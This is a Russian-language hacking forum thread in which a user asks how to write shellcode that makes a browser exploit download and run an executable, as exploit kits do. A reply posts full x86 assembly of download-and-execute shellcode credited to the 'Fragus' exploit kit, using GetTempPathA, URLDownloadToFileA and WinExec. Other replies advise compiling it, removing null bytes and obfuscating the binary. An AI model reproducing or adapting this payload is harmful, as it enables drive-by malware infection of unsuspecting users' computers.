Не могу понять как его получить. Допустим есть эксплоит под IE6, которой содержит шелл код, мне нужно заменить его своим. В гугле только поверхностная информация по данной теме
Меня интересует общий принцип написание shell-кода для эксплоита. Тоесть есть же связки, в которых после успешного пробива эксплоитом браузера, грузится .exe. Мне интересно, как пишется шелл код для загрузки этого .exe К примеру вот эксплоит Internet Explorer 8 CSS Parser Exploit exploit-db.com/exploits/15746/
Вот к примеру шеллкод со связки "Fragus", изучай. Code: <ModuleEntryPoint>: xor eax,eax mov eax,dword ptr fs:[eax+030h];получает базу кернела js @tb3_00401014 mov eax,dword ptr ds:[eax+0ch] mov esi,dword ptr ds:[eax+01ch] lods dword ptr ds:[esi] mov ebx,dword ptr ds:[eax+8] jmp @tb3_0040101D @tb3_00401014: mov eax,dword ptr ds:[eax+034h] lea eax,dword ptr ds:[eax+07ch] mov ebx,dword ptr ds:[eax+03ch] @tb3_0040101d: push 044h pop edx shl edx,1 sub esp,edx mov ebp,esp jmp @tb3_00401077 @tb3_00401028:;кодес получения функций по их хешам pop edx push edx sub edx,056h mov dword ptr ss:[ebp+4],edx push esi push edi mov esi,dword ptr ds:[ebx+03ch] mov esi,dword ptr ds:[ebx+esi+078h] add esi,ebx push esi mov esi,dword ptr ds:[esi+020h] add esi,ebx xor ecx,ecx dec ecx @tb3_00401044: push eax inc ecx lods dword ptr ds:[esi] xor edi,edi @tb3_00401049: movsx edx,byte ptr ss:[ebx+eax] cmp dl,dh je @tb3_0040105A ror edi,0dh add edi,edx inc eax jmp @tb3_00401049 @tb3_0040105a: pop eax cmp edi,eax jnz @tb3_00401044 pop esi mov eax,dword ptr ds:[esi+024h] add eax,ebx mov cx,word ptr ds:[eax+ecx*2] mov edx,dword ptr ds:[esi+01ch] add edx,ebx mov eax,dword ptr ds:[edx+ecx*4] add eax,ebx pop edi pop esi push eax ret @tb3_00401077: lea edi,dword ptr ss:[ebp+8] push edi push edx mov eax,05b8aca33h; получаем и вызываем функцию GetTempPathA call @tb3_00401028 xor al,al mov esi,edi repne scas byte ptr es:[edi] dec edi mov eax,078652e65h stos dword ptr es:[edi] cbw stos word ptr es:[edi];добавляем к пути темповой папки имя файла mov al,06ch mov ah,al cwde push eax push 0642e6e6fh push 06d6c7275h push esp mov eax,0ec0e4e8eh call dword ptr ss:[ebp+4];получаем и вызываем функцию LoadLibraryA,"urlmon.dll" xchg eax,ebx push eax xor eax,eax push eax push eax push esi mov edx,dword ptr ss:[ebp+4] add edx,07fh add edx,031h push edx push eax mov eax,0702f1a36h call dword ptr ss:[ebp+4];далее функция URLDownloadToFileA pop ebx xor edi,edi push edi push esi mov eax,0e8afe98h call dword ptr ss:[ebp+4]; WinExec push edi mov eax,060e0ceefh call dword ptr ss:[ebp+4];ExitThread
Serafim привёл пример исходника шелкода. Далее, исходник компилируется в объектный файл под целевую систему. Получается готовый шелкод, который прописывается нагрузкой к эксплойту. Однако есть ряд ньюансов - например, шелкод не должен содержать нуль-байта, ибо это конец строки. Есть масса бесплатных программ для микса бинарного кода без потери функционала. На exploits-db есть масса готовых шелкодов.
В примере он только выполняет калькулятор, Посмотри на примеры, там можно найти такой какой тебе нужен, или похожий и подстроится под него.